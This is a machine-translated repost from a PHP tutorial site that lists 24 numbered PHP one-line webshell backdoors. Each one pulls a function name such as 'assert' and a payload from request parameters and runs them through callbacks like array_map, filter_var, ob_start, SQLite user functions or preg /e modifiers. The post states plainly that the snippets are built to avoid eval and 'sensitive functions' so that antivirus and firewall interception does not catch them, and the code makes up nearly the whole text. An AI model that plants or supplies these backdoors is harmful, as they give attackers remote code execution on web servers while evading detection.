Share some featureless PHP sentences

WBOY
Release: 2016-07-25 08:46:53
Original
1338 people have browsed it
Share some featureless PHP sentences

Share some words that don’t require dynamic functions, don’t use eval, don’t contain sensitive functions, and don’t require killing or interception. (A few sentences require php5.4.8+, or sqlite/pdo/yaml/memcached extension, etc.)

Principle: http://www.toceanedu.com/shareMethod/639.jhtml
01
$e =$_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);
02
$e =$_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map($e, $arr);
03
$e =$_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, $e);
04
$e =$_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
05
$arr =new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
06
$arr =new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
07
$e =$_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
08
$e =$_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
09
$e =$_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
10
$e =$_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
11
mb_ereg_replace('.*',$_REQUEST['pass'], '', 'e');
12
echopreg_filter('|. *|e', $_REQUEST['pass'], '');
13
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
14
$e =$_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
15
$e =$_REQUEST['e'];
declare(ticks=1);
register_tick_function($e, $_REQUEST['pass']);
16
filter_var($_REQUEST['pass'],FILTER_CALLBACK, array('options' => 'assert'));
17
filter_var_array(array('test'=> $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK,'options' => 'assert')));
18
$e =$_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
19
$e =$_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();
20
$str =urlencode($_REQUEST['pass']);
$yaml = << greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}"=> 'preg_replace'));
21
$mem =new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE,create_function('$a,$b,$c,$d,$e', 'return assert( $a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);
22
preg_replace_callback('/.+/i',create_function('$arr', 'return assert($arr[0 ]);'), $_REQUEST['pass']);
23
mb_ereg_replace_callback('.+',create_function('$arr', 'return assert($arr[0]);'), $_REQUEST ['pass']);
24
$iterator= new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)),create_function('$a', 'assert($a);') );
foreach ($iterator as $item) {echo $item;}
If you encounter any technical problems that are not solved in time during the learning process, we recommend a good WeChat public account: [Tuosheng Technology] will have professional technical personnel Solved for you. [Tuosheng Technology] focuses on sharing the most comprehensive video learning materials and learning experiences on programming development. At present, teaching videos for Java, Android, UID, PHP, iOS, etc. have been compiled,



source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template